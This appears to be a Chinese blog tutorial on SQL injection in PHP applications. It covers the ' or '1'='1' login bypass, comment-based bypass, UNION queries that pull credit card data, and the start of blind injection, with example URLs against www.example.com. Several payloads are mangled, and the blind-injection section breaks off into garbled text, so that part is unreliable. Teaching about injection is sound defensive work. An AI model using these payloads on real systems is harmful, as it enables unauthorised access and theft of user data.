457248499-qq-com

PHPSQL注入

什么是SQL注入?

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 
例如一个简单的登录表单(这里把密码写成明文方便说明): 
这里写图片描述 
当在表单中填写这样的语句进行提交登录时会出现这样的SQL语句

select * from t_admin where admin_name=\'xxx\' and admin_pwd=\'xxx\'\' or \'1\'

这样会查询出所有的用户信息,所有存在不安全隐患

常用的SQL注入方式

下面看看一些常用例测试的SQL注入语句。

1. 使用单引号及or关键字
SELECT * FROM Users WHERE Username=\'$username\' AND Password=\'$password\' 


我们针对上面的SQL语句分析,发现如果用下面的测试数据就能够进行SQL注入了 
引用 
username=1or1=1password=1’or’1’=’1 

看看整个SQL查询语句变成: 
引用

SELECT * FROM Users WHERE Username=\'1\' OR \'1\'=\'1\' AND Password=\'1\'OR \'1\'=\'1\' 


假设参数值是通过GET方法传递到服务器的,且域名为www.example.com 那么我们的访问请求就是: 
引用 

  http://www.example.com/index.php?username=1‘%20or%20’1’%20=%20’1password=1’%20or%20’1’%20=%20’1 

 对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造成的后果则更为严重。

2. 使用括号



另外一个查询的例子如下: 引用 

 SELECT * FROM Users WHERE((Username=\'$username\')AND(Password=MD5(\'$password\'))) 


在这个例子中,存在两个问题,一个是括号的用法,还有一个是MD5哈希函数的用法。对于第一个问题,我们很容找出缺少的右括号解决,对于第二个问题,我们可以想办法使第二个条件失效。我们在查询语句的最后加上一个注释符以表示后面的都是注释,常见的注释起始符是/*(在Oracle中是–),也就是说,我们用如下的用户名和密码: 
引用 
username=1or1=1))/password = foo 

那么整条SQL语句就变为: 
引用

SELECT * FROM Users WHERE(( Username=\'1\'or \'1\'=\'1\'))/*\')AND (Password=MD5(\'$password\'))) 



那么看看URL请求就变为: 
引用 
http://www.example.com/index.php?username=1‘%20or%20’1’%20=%20’1’))/*&password=foo 

#####3.Union查询SQL注入测试 
 


Union查询SQL注入测试 
 还有一种测试是利用Union的,利用Union可以连接查询,从而从其他表中得到信息,假设如下查询: 
引用

SELECT Name, Phone, Address FROM Users WHERE Id=$id 


然后我们设置id的值为: 
引用 

$id =1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable 

那么整体的查询就变为: 
引用

SELECT Name, Phone,Address FROM Users WHERE Id=1 UNION ALL SELECT creaditCardNumber,1,1 FROM CreditCarTable 


显示这就能得到所有信用卡用户的信息。 

盲目SQL注入测试 
 在上面我们提到过盲SQL注入,即bind SQL Injection,它意味着对于某个操作我们得不到任何信息,通常这是由于程序员已经编写了特定的出错返回页面,从而隐藏了数据库结构的信息。 

 但利用推理方法,有时候我们能够恢复特定字段的值。这种方法通常采用一组对服务器的布尔查询,依据返回的结果来推断结果的含义。仍然延续上面的www.example.com有一个参数名为id, 那么我们输入以下url请求: 
引用 

 http://www.exampe.com/index.php?id=1’ 

显然由于语法错误,我们会得到一个预先定义好的出错页面,假设服务器上的查询语句为 
引用 

SELECT field1,field2,field3 FROM Users WHERE Id=’Id使SUBSTRING(text,start,length),ASCII(char),LENGTH(text)id

分类:

技术点:

相关文章: